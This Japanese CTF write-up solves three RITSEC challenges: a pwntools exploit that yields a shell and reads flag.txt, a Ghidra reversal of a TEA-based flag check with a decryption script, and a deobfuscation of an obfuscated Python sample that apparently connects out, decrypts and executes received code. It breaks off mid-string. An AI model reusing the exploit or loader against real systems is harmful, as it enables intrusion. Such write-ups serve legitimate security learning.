
pi_correct = struct.pack('<d', 3.141592653589793)

data = p.recvuntil(b': ').decode()
print(data + 'C')
p.sendline(b'C')
data = p.recvuntil(b': ').decode()
print(data + '8')
p.sendline(b'8')
data = p.recvuntil(b': ').decode()
print(data, end='')
print(pi_correct)
p.sendline(pi_correct)

data = p.recvuntil(b': ').decode()
print(data + 'T')
p.sendline(b'T')
p.interactive()

実行結果は以下の通り。

[+] Opening connection to bake-a-pi.ctf.ritsec.club on port 1555: Done
I want to create the perfect pi recipe, but can't quite get it right...
Can you help me bake the perfect pi?

------------------------------------------------------------
(S)how recipe, (C)change ingredient, (T)aste test: C
Which ingredient would you like to change?: 8
Enter ingredient: b'\x18-DT\xfb!\t@'
------------------------------------------------------------
(S)how recipe, (C)change ingredient, (T)aste test: T
[*] Switching to interactive mode
Yummy! This is the perfect pi!
$ ls
flag.txt
run
$ cat flag.txt
RS{0ff_by_0n3_4s_e4sy_4s_4_sk1llb17_p1}
RS{0ff_by_0n3_4s_e4sy_4s_4_sk1llb17_p1}

T-reasure Chest (Reversing)

Ghidraでデコンパイルする。

undefined8 FUN_0040131b(void)

{
  int iVar1;
  size_t sVar2;
  char local_138 [256];
  undefined8 local_38;
  undefined8 local_30;
  void *local_20;
  int local_14;
  int local_10;
  int local_c;
  
  local_38 = 0x636e655f796e6974;
  local_30 = 0x79656b5f74707972;
  puts("Try to open the chest!");
  printf("Maybe try saying the magic word: ");
  fgets(local_138,0x100,stdin);
  sVar2 = strcspn(local_138,"\n");
  local_138[sVar2] = '\0';
  printf("input: %s\n",local_138);
  sVar2 = strlen(local_138);
  local_10 = (int)sVar2;
  local_14 = local_10 % 8;
  local_20 = malloc((long)(local_14 + local_10));
  memcpy(local_20,local_138,(long)local_10);
  memset((void *)((long)local_10 + (long)local_20),0,(long)local_14);
  local_10 = local_10 + local_14;
  FUN_004012a9(local_20,local_10,&local_38);
  printf("result: 0x");
  for (local_c = 0; local_c < local_10; local_c = local_c + 1) {
    printf("%02X",(ulong)*(byte *)((long)local_20 + (long)local_c));
  }
  putchar(10);
  if ((local_10 == 0x22) && (iVar1 = memcmp(local_20,&DAT_00404080,0x22), iVar1 == 0)) {
    puts("Congrats! Here\'s your treasure: ");
    puts("*******************************************************************************");
    puts("          |                   |                  |                     |");
    puts(" _________|________________.=\"\"_;=.______________|_____________________|_______");
    puts("|                   |  ,-\"_,=\"\"     `\"=.|                  |");
    puts("|___________________|__\"=._o`\"-._        `\"=.______________|___________________");
    puts("          |                `\"=._o`\"=._      _`\"=._                     |");
    puts(" _________|_____________________:=._o \"=._.\"_.-=\"\'\"=.__________________|_______");
    puts("|                   |    __.--\" , ; `\"=._o.\" ,-\"\"\"-._ \".   |");
    puts("|___________________|_._\"  ,. .` ` `` ,  `\"-._\"-._   \". \'__|___________________");
    puts("          |           |o`\"=._` , \"` `; .\". ,  \"-._\"-._; ;              |");
    puts(" _________|___________| ;`-.o`\"=._; .\" ` \'`.\"` . \"-._ /________________|_______");
    puts("|                   | |o;    `\"-.o`\"=._``  \'` \" ,__.--o;   |");
    puts("|___________________|_| ;     (#) `-.o `\"=.`_.--\"_o.-; ;___|___________________");
    puts("____/______/______/___|o;._    \"      `\".o|o_.--\"    ;o;____/______/______/____");
    puts("/______/______/______/_\"=._o--._        ; | ;        ; ;/______/______/______/_");
    puts("____/______/______/______/__\"=._o--._   ;o|o;     _._;o;____/______/______/____");
    puts("/______/______/______/______/____\"=._o._; | ;_.--\"o.--\"_/______/______/______/_");
    puts("____/______/______/______/______/_____\"=.o|o_.--\"\"___/______/______/______/____");
    puts("/______/______/______/______/______/______/______/______/______/______/________");
    puts("*******************************************************************************");
    free(local_20);
    return 0;
  }
  puts("Hmmmm.... didn\'t open...");
  free(local_20);
  return 0;
}

void FUN_004012a9(long param_1,uint param_2,undefined8 param_3)

{
  undefined8 local_14;
  uint local_c;
  
  for (local_c = 0; local_c < param_2 >> 2; local_c = local_c + 1) {
    local_14 = *(undefined8 *)(param_1 + (int)(local_c << 3));
    FUN_004011c6(&local_14,param_3);
    *(undefined8 *)((int)(local_c << 3) + param_1) = local_14;
  }
  return;
}

void FUN_004011c6(uint *param_1,int *param_2)

{
  uint local_1c;
  uint local_18;
  int local_10;
  int local_c;
  
  local_18 = *param_1;
  local_1c = param_1[1];
  local_c = 0;
  for (local_10 = 0; local_10 < 0x20; local_10 = local_10 + 1) {
    local_c = local_c + -0x61c88647;
    local_18 = local_18 +
               (local_1c * 0x10 + *param_2 ^ local_c + local_1c ^ param_2[1] + (local_1c >> 5));
    local_1c = local_1c +
               (local_18 * 0x10 + param_2[2] ^ local_c + local_18 ^ param_2[3] + (local_18 >> 5));
  }
  *param_1 = local_18;
  param_1[1] = local_1c;
  return;
}

                             DAT_00404080                                    XREF[1]:     FUN_0040131b:004014b4(*)  
        00404080 38              ??         38h    8
        00404081 75              ??         75h    u
        00404082 5b              ??         5Bh    [
        00404083 cb              ??         CBh
        00404084 44              ??         44h    D
        00404085 d2              ??         D2h
        00404086 be              ??         BEh
        00404087 5d              ??         5Dh    ]
        00404088 96              ??         96h
        00404089 9c              ??         9Ch
        0040408a 56              ??         56h    V
        0040408b 43              ??         43h    C
        0040408c ea              ??         EAh
        0040408d 98              ??         98h
        0040408e 06              ??         06h
        0040408f 75              ??         75h    u
        00404090 4a              ??         4Ah    J
        00404091 48              ??         48h    H
        00404092 13              ??         13h
        00404093 e6              ??         E6h
        00404094 d4              ??         D4h
        00404095 e8              ??         E8h
        00404096 8e              ??         8Eh
        00404097 4f              ??         4Fh    O
        00404098 72              ??         72h    r
        00404099 70              ??         70h    p
        0040409a 8b              ??         8Bh
        0040409b ff              ??         FFh
        0040409c dc              ??         DCh
        0040409d 99              ??         99h
        0040409e f8              ??         F8h
        0040409f 76              ??         76h    v
        004040a0 c5              ??         C5h
        004040a1 c9              ??         C9h
>>> x = 29
>>> x + (x % 8)
34

入力文字列の長さは29であることがわかる。
下記実行時にはlocal_20は[入力文字列]+[0が5バイト]がセットされている。またlocal_10は34である必要がある。

FUN_004012a9(local_20,local_10,&local_38);

この関数の処理をトレースしてみる。

・local_cが0~7に対して以下を実行する。
 ・&local_14: local_20 + local_c * 8 のアドレス
 ・FUN_004011c6(&local_14, &local_38)
  ・local_18: local_14が指す前半32ビットデータ
  ・local_1c: local_14が指す後半32ビットデータ
  ・local_c = 0
  ・local_10が0~31に対して以下を実行する。
   ・local_c = local_c - 0x61c88647 ※32ビット
   ・local_18 = local_18 + (local_1c * 0x10 + A ^ local_c + local_1c ^ B + (local_1c >> 5))
   ・local_1c = local_1c + (local_18 * 0x10 + C ^ local_c + local_18 ^ D + (local_18 >> 5))
  ・local_14が指す前半32ビットデータにlocal_18をセット
  ・local_14が指す後半32ビットデータにlocal_1cをセット

最後はDAT_00404080になればよいので、逆算していく。

#!/usr/bin/env python3
def rev_FUN_004011c6(x, A, B, C, D):
    x0 = x[0]
    x1 = x[1]
    local_c = (- 0x61c88647 * 32) & 0xffffffff
    for _ in range(32):
        x1 = (x1 - (x0 * 16 + C ^ local_c + x0 ^ D + (x0 >> 5))) & 0xffffffff
        x0 = (x0 - (x1 * 16 + A ^ local_c + x1 ^ B + (x1 >> 5))) & 0xffffffff
        local_c = (local_c + 0x61c88647) & 0xffffffff
    return x0, x1

A = 0x796e6974
B = 0x636e655f
C = 0x74707972
D = 0x79656b5f
enc = [0x38, 0x75, 0x5b, 0xcb, 0x44, 0xd2, 0xbe, 0x5d, 0x96, 0x9c, 0x56, 0x43,
    0xea, 0x98, 0x06, 0x75, 0x4a, 0x48, 0x13, 0xe6, 0xd4, 0xe8, 0x8e, 0x4f,
    0x72, 0x70, 0x8b, 0xff, 0xdc, 0x99, 0xf8, 0x76, 0xc5, 0xc9]

flag = b''
for i in range(0, len(enc), 8):
    x0 = 0
    for j in range(4):
        x0 = x0 << 8
        x0 += enc[i + (3 - j)]
    x1 = 0
    for j in range(4):
        x1 = x1 << 8
        x1 += enc[i + (7 - j)]
    x0, x1 = rev_FUN_004011c6([x0, x1], A, B, C, D)
    flag += x0.to_bytes(4, 'little')
    flag += x1.to_bytes(4, 'little')
    if b'}' in flag:
        flag = flag.rstrip(b'\x00').decode()
        print(flag)
        break
RS{oh_its_a_TEAreasure_chest}

obfpyscated (Reversing)

execの中身を標準出力する。

print(''.join(chr(_^2)for _ in b']?nco`fc829]]?]]kormpv]]*%%,hmkl*ajp*k\\6:+dmp"k"kl"`%_S@AZS^^%++,nmcfq*`%%,hmkl**k\\05+,vm]`{vgq*3.%%,hmkl*ajp*k\\4;+"dmp"k"kl"`%^%. %++dmp"k"kl"`%z^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z33^z3`^z3`^z3`^z3f^z3`^z3`^z3`Z^z3`^z3`^z3`^zg:3^z3c^z3`^z3`^z5d^z3c^z5d^z3`u^z3`d^z3`^z5d^z3c^z5d^z3`u^z3cd^z3c^z5d^z3c^z5d^z3;u^z3;t^z3:d^z3;^z3c^z3`^z5d^z3c^z5d^z3`u^z3dd^z3:e^z3c^z``^z3g^z`c^z3`s^z3fe^z3`^z``^z3`e^z3`s^z3ae^z3`s^z31^z`c^z3;^z5d^z3:^z``^z30^z5d^z3d^z5d^z3g^z;d^z3`^z5d^z3f]^z3`^z;:^z3c^z`c^z3c^z5d^z3a^z;4^z3;d^z3de^z3d^z``^z33^z5d^z3:^z``^z30^z5d^z31^z5d^z3g^z;d^z3`^z5d^z30]^z3`^z;:^z3c^z`c^z3c^z5d^z33\x7f^z3;^z`c^z3c^z3c^z3`e^z3d^z``^z32^z5d^z32^z``^z30^z5d^z35^z5d^z3g^z;d^z3`^z5d^z34]^z3`^z;:^z3c^z`c^z3c^z`c^z3c^z3c^z3`^z5d^z32d^z3g^z30^z3`e^z3d^z``^z35^z5d^z36^z`c^z3cd^z3fe^z3fjIw^z3ge^z3ge^z3f.^z3`d^z3ghQe^z3d^z``^z34^z`c^z3`^z3c^z3`e^z3ge^z3g^z``^z37^z5d^z2`^z`c^z3c^z5d^l^d^z3`^z5d^z3`^z;g^z3;^z20^z3`d^z3ge^z3;s^z36^z5d^z32^z``^z30^z5d^v^z5d^z3g^z;d^z3`^z5d^`]^z3`^z;:^z3c^z`c^z3c^z5d^z2de^z3g^z5d^z2g^z5d^z3`^z;g^z3;^z20^z3`^z5d^p^z;4^z3:^z``^z2`e^z3g^z5d^z3`^z5d^d^z;g^z3;^z20^z3`e^z3g^z5d^d^z5d^z2g^z;g^z3;^z20^z3`^z`c^z3;d^z3ae^z3:^z``^le^z3a^z`c^z3cd^z31^z5d^z21^z5d^z20^z;d^z3`d^z30e^z31e^z30F^ve^z30^z;:^z3`^z3c^z3`^z5d^z3`J^z3`0^z23W^zd0^z3`^z3`^z3`^z3`^z`0^z3c^za3^z3:X\\J^za3^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`^zg:^z25^z3`^z3`^z3`^z;c^z3`e^z3`D^z30d^z3cm^z3`e^z3c^z5d^z3`X^z3`^z;:^z3cO^z3`^z3c^z3`h^z3;^z5d^z3cJ^z3`0^z3;^zd03^z3`^z3`^z3`W^z`0^z3c^za3^z3:zqk^z`0^z3;^za3^z3;7)^za3^z3cp^z`0^z3`k^z35^z3`^z3`^z3`^zg3^z31^%tv^z5dlu|\'^za3^z3c\x7f^z31^z3`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z3;^z;`^z23^z3`^zg3^dt|vn7^%uvzxuj\'7^%~|w|aik\'^zg:^z36^z3`^z3`^z3`^^V\\D^z3d@J_EZV^z3dUJZ^z`0^z3c^za3^z36j|ko|kFqvjmwxt|z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`k^z3g^z3`^z3`^z3`0^z3;^zd0^z34^z3`^z3`^z3`Wk^z3a^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z30^z3`^z3`^z3`k^z36^z3`^z3`^z3`^zg:^z36^z3`^z3`^z3`yq{c:gmxb^z5dq:rm^z5d^zd0^zc2^z3c^z3`^z3`^zg:^z3`^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z31^z3`^z3`^z3`j^z3`^z3`^z3`^zg:)^z3`^z3`^z3`^z;c^z3`e^z3`D^`d^z3ce^z3c^z5d^z3`X^z3`^z``^z3`^z5d^z3c^z5d^z3;^z``^z3c^z5d^z3:^z5d^z3d^z;d^z3`^z5d^z3g]^z3`^z;:^z3c^z`c^z3c^z`c^z3;O^z3`^z3c^z3`h^z3;^z5d^z3fJ^z3`0^z3a^zd0M^z3`^z3`^z3`^zd0^z3c^z3`^z3`^z3`k^z3d^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`k^z3g^z3`^z3`^z3`0^z3;^zd0\\^z3`^z3`^z3`Wk^z3a^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z33^z3`^z3`^z3`k^z36^z3`^z3`^z3`^zg38t|vn7^%uvzxuj\'7^%~|w|aik\'7^%~|w|aik\'^zg:^z3:^z3`^z3`^z3`>5;W^z`0^z3;^za3^z31mvF{`m|j^za3^z3dsvpwk^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z33^z3`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z3;^z;`7^z3`^zg:O^z3`^z3`^z3`^`^l^z3`mb>9,9$.b>8>=$.$"8>^z32, "#*^z328>m^z25^z3`^z3`^z3db|c|@G^z25">9wm (":c>4!;$(c+4$@G^d"##(.9$"#wm.!">(@G@GM^zd0^z3`^z2`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z34^z33^z34^z33^zd0^z3d^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z31^z3`^z3`^z3`j^z3`^z3`^z3`k^z21^z3`^z3`^z3`0^z3a^zd0.^z3`^z3`^z3`k^z23^z3`^z3`^z3`k^z3d^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`k^z3g^z3`^z3`^z3`0^z3;k^2^z3`^z3`^z3`Wk^z3a^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^`^z3`^z3`^z3`k^z36^z3`^z3`^z3`k^z25^z3`^z3`^z3`k^z24^z3`^z3`^z3`Wk^z27^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^`^z3`^z3`^z3`k8^z3`^z3`^z3`^zg:9^z3`^z3`^z3`-$^zg0^zf4^z;a^za0j"I^z`7,^z3;^zc0^zd1^z5d@x^zg0^zd1/U^zg1=!^z3cl^z;3R^d^za4^za1^zd0^zd0^z32^z3`^z3`^z3`^zd0^zg`^zg6^zg6^zg6^z`0^z3c^za3^z3gwvwz|^zd0^zd`^zg6^zg6^zg6z^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3c^z3`^z3`^z3`J^z3`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z5d^z3`J^z3`0^z3cWk^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z2g^z3`^z3`^z3`^zg:^z3;^z3`^z3`^z3`^z3d^z3`^zg3^z2gt|vn7^%uvzxuj\'7FFFFFFF^z`0^`^za3^z3fjvzr|m^za3^z3:jju^za3^z34Zk`imv7Zpiq|kk^z3:^z3`^z3`^z3`^za3^z3atxkjqxu^za3^pzk|xm|F^z5d|\x7fxlumFzvwm|am^za3^z32nkxiFjvzr|m^za3^z3aX_FPW\\M^za3^z32JVZRFJMK\\XTk9^z3`^z3`^z3`^za3^z3azvww|zm^za3^z3aj|w^z5dxuu^za3^z3dk|zo^za3^z3gzuvj|^za3^z3gpw^z5d|a^za3^z3:w|n^za3^v^z5d|zk`imFxw^z5dFo|kp\x7f`^za3^z3guvx^z5dj^za3^z31FFzv^z5d|FF^z`0^z33k(^z3`^z3`^z3`k+^z3`^z3`^z3`k^z3:^z3`^z3`^z3`k-^z3`^z3`^z3`^za3^z3cF^za3^z3:FFF^za3^z3;FF^za3^z3gFFFFF^za3^z3fFFFFFF^za3^z3aFFFFFFFk^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z3:^z3`^z3`^z3`^zg:3^z3`^z3`^z3`^z31^z3c^z31^z3c^z35^z3c^z31^z3c7^z3c^z27^z3c^z23^z3c^z3d^z3c^z3;^z3c^z33^z3c^z3d^z3c^z3;^z3c^z31^z3c^z3;^zg5^z31^z3g^p^z3cY^z3c^z33^z3c^z31^z3c^z3f^z3c^z33^z3c%++9],]]amfg]]?]]9]*+'))

この結果は以下の通り。

_=lambda:0;__=__import__(''.join(chr(i^48)for i in b']QBCXQ\\')).loads(b''.join((i^27).to_bytes(1,''.join(chr(i^69) for i in b'\',"'))for i in b'x\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x11\x1b\x1b\x1b\x1d\x1b\x1b\x1bX\x1b\x1b\x1b\xe81\x1a\x1b\x1b\x7f\x1a\x7f\x1bw\x1bf\x1b\x7f\x1a\x7f\x1bw\x1af\x1a\x7f\x1a\x7f\x19w\x19v\x18f\x19\x1a\x1b\x7f\x1a\x7f\x1bw\x1ff\x18g\x1a\xbb\x1e\xba\x1bq\x1dg\x1b\xbb\x1bg\x1bq\x1cg\x1bq\x13\xba\x19\x7f\x18\xbb\x12\x7f\x1f\x7f\x1e\x9f\x1b\x7f\x1d_\x1b\x98\x1a\xba\x1a\x7f\x1c\x96\x19f\x1fg\x1f\xbb\x11\x7f\x18\xbb\x12\x7f\x13\x7f\x1e\x9f\x1b\x7f\x12_\x1b\x98\x1a\xba\x1a\x7f\x11}\x19\xba\x1a\x1a\x1bg\x1f\xbb\x10\x7f\x10\xbb\x12\x7f\x17\x7f\x1e\x9f\x1b\x7f\x16_\x1b\x98\x1a\xba\x1a\xba\x1a\x1a\x1b\x7f\x10f\x1e\x12\x1bg\x1f\xbb\x17\x7f\x14\xba\x1af\x1dg\x1dhKu\x1eg\x1eg\x1d,\x1bf\x1ejSg\x1f\xbb\x16\xba\x1b\x1a\x1bg\x1eg\x1e\xbb\x15\x7f\x0b\xba\x1a\x7f\n\f\x1b\x7f\x1b\x9e\x19\x02\x1bf\x1eg\x19q\x14\x7f\x10\xbb\x12\x7f\t\x7f\x1e\x9f\x1b\x7f\b_\x1b\x98\x1a\xba\x1a\x7f\x0fg\x1e\x7f\x0e\x7f\x1b\x9e\x19\x02\x1b\x7f\r\x96\x18\xbb\x0bg\x1e\x7f\x1b\x7f\f\x9e\x19\x02\x1bg\x1e\x7f\f\x7f\x0e\x9e\x19\x02\x1b\xba\x19f\x1cg\x18\xbb\ng\x1c\xba\x1af\x13\x7f\x03\x7f\x02\x9f\x1bf\x12g\x13g\x12D\tg\x12\x98\x1b\x1a\x1b\x7f\x1bH\x1b2\x01U\xf2\x1b\x1b\x1b\x1b\xb2\x1a\xc1\x18Z^H\xc1\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1b\xe8\x07\x1b\x1b\x1b\x9a\x1bg\x1bF\x12f\x1ao\x1bg\x1a\x7f\x1bZ\x1b\x98\x1aM\x1b\x1a\x1bj\x19\x7f\x1aH\x1b2\x19\xf21\x1b\x1b\x1bU\xb2\x1a\xc1\x18xsi\xb2\x19\xc1\x195+\xc1\x1ar\xb2\x1bi\x17\x1b\x1b\x1b\xe1\x13\'vt\x7fnw~%\xc1\x1a}\x13\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x19\x9b\x01\x1b\xe1\fv~tl5\'wtxzwh%5\'|~u~cki%\xe8\x14\x1b\x1b\x1b\\T^F\x1fBH]GXT\x1fWHX\xb2\x1a\xc1\x14h~im~iDsthouzv~x\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19\xf2\x16\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x12\x1b\x1b\x1bi\x14\x1b\x1b\x1b\xe8\x14\x1b\x1b\x1b{sya8eoz`\x7fs8po\x7f\xf2\xa0\x1a\x1b\x1b\xe8\x1b\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x13\x1b\x1b\x1bh\x1b\x1b\x1b\xe8+\x1b\x1b\x1b\x9a\x1bg\x1bF\bf\x1ag\x1a\x7f\x1bZ\x1b\xbb\x1b\x7f\x1a\x7f\x19\xbb\x1a\x7f\x18\x7f\x1f\x9f\x1b\x7f\x1e_\x1b\x98\x1a\xba\x1a\xba\x19M\x1b\x1a\x1bj\x19\x7f\x1dH\x1b2\x1c\xf2O\x1b\x1b\x1b\xf2\x1a\x1b\x1b\x1bi\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19\xf2^\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x11\x1b\x1b\x1bi\x14\x1b\x1b\x1b\xe1:v~tl5\'wtxzwh%5\'|~u~cki%5\'|~u~cki%\xe8\x18\x1b\x1b\x1b<79U\xb2\x19\xc1\x13otDybo~h\xc1\x1fqtrui\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x11\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x19\x9b5\x1b\xe8M\x1b\x1b\x1b\b\n\x1bo`<;.;&,`<:<?&,& :<\x10." !(\x10:<o\x07\x1b\x1b\x1f`~a~BE\x07 <;uo"* 8a<6#9&*a)6&BE\f !!*,;& !uo,# <*BEBEO\xf2\x1b\x0b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x16\x11\x16\x11\xf2\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x13\x1b\x1b\x1bh\x1b\x1b\x1bi\x03\x1b\x1b\x1b2\x1c\xf2,\x1b\x1b\x1bi\x01\x1b\x1b\x1bi\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19i\0\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\b\x1b\x1b\x1bi\x14\x1b\x1b\x1bi\x07\x1b\x1b\x1bi\x06\x1b\x1b\x1bUi\x05\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\b\x1b\x1b\x1bi:\x1b\x1b\x1b\xe8;\x1b\x1b\x1b/&\xe2\xd6\x9c\xc2h K\xb5.\x19\xa2\xf3\x7fBz\xe2\xf3-W\xe3?#\x1an\x91P\f\xc6\xc3\xf2\xf2\x10\x1b\x1b\x1b\xf2\xeb\xe4\xe4\xe4\xb2\x1a\xc1\x1eutux~\xf2\xfb\xe4\xe4\xe4x\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1a\x1b\x1b\x1bH\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x7f\x1bH\x1b2\x1aUi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x0e\x1b\x1b\x1b\xe8\x19\x1b\x1b\x1b\x1f\x1b\xe1\x0ev~tl5\'wtxzwh%5DDDDDDD\xb2\b\xc1\x1dhtxp~o\xc1\x18hhw\xc1\x16Xibkot5Xrks~ii\x18\x1b\x1b\x1b\xc1\x1cvzihszw\xc1\rxi~zo~D\x7f~}znwoDxtuo~co\xc1\x10lizkDhtxp~o\xc1\x1cZ]DRU^O\xc1\x10HTXPDHOI^ZVi;\x1b\x1b\x1b\xc1\x1cxtuu~xo\xc1\x1ch~u\x7fzww\xc1\x1fi~xm\xc1\x1exwth~\xc1\x1eru\x7f~c\xc1\x18u~l\xc1\t\x7f~xibkoDzu\x7fDm~ir}b\xc1\x1ewtz\x7fh\xc1\x13DDxt\x7f~DD\xb2\x11i*\x1b\x1b\x1bi)\x1b\x1b\x1bi\x18\x1b\x1b\x1bi/\x1b\x1b\x1b\xc1\x1aD\xc1\x18DDD\xc1\x19DD\xc1\x1eDDDDD\xc1\x1dDDDDDD\xc1\x1cDDDDDDDi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x18\x1b\x1b\x1b\xe81\x1b\x1b\x1b\x13\x1a\x13\x1a\x17\x1a\x13\x1a5\x1a\x05\x1a\x01\x1a\x1f\x1a\x19\x1a\x11\x1a\x1f\x1a\x19\x1a\x13\x1a\x19\xe7\x13\x1e\r\x1a[\x1a\x11\x1a\x13\x1a\x1d\x1a\x11\x1a'));_.__code__=__;_(

また、部分的に標準出力しながら、整形する。

_=lambda:0;
__=__import__('marshal').loads(b'c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00\xf3*\x01\x00\x00d\x01d\x00l\x00}\x00d\x01d\x00l\x01}\x01d\x01d\x02l\x02m\x03}\x02\x01\x00d\x01d\x00l\x04}\x03|\x01\xa0\x05\xa1\x00j\x06|\x00\xa0\x00|\x00j\x07|\x00j\x08\xa1\x02d\x03\xa0\td\x04d\x05\x84\x00d\x06D\x00\x83\x01\xa1\x01d\x07\x8d\x02}\x04|\x04\xa0\nd\x03\xa0\td\x08d\x05\x84\x00d\tD\x00\x83\x01\xa1\x01d\nf\x02\xa1\x01\x01\x00|\x04\xa0\x0bd\x0b\xa0\td\x0cd\x05\x84\x00d\rD\x00\x83\x01\xa1\x01\xa1\x01\x01\x00d\x0b}\x05\t\x00|\x04\xa0\x0cd\x0f\xa1\x01}\x06|\x06sPn\x05|\x05|\x067\x00}\x05qH|\x04\xa0\r\xa1\x00\x01\x00|\x05|\x05\xa0\x0ed\x10\xa1\x01d\x11\x17\x00d\x00\x85\x02\x19\x00}\x05|\x02j\x0fd\x0b\xa0\td\x12d\x05\x84\x00d\x13D\x00\x83\x01\xa1\x01d\x14|\x05d\x15d\x00\x85\x02\x19\x00d\x16\x8d\x03\xa0\x10|\x05d\x00d\x17\x85\x02\x19\x00|\x05d\x17d\x15\x85\x02\x19\x00\xa1\x02}\x07|\x03\xa0\x11|\x07\xa1\x01}\x08d\x18d\x19\x84\x00}\t|\x08|\t_\x12|\t\x83\x00\x01\x00d\x00S\x00)\x1aN\xe9\x00\x00\x00\x00\xa9\x01\xda\x03AES\xda\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00s\x00\x00\x00\xf3\x1c\x00\x00\x00\x81\x00|\x00]\t}\x01t\x00|\x01d\x00A\x00\x83\x01V\x00\x01\x00q\x02d\x01S\x00)\x02\xe9*\x00\x00\x00N\xa9\x01\xda\x03chr\xa9\x02\xda\x02.0\xda\x01i\xa9\x00r\x0c\x00\x00\x00\xfa\x08<module>\xda\x01f\x08\x00\x00\x00\xf3\x04\x00\x00\x00\x02\x80\x1a\x00\xfa\x17meow.<l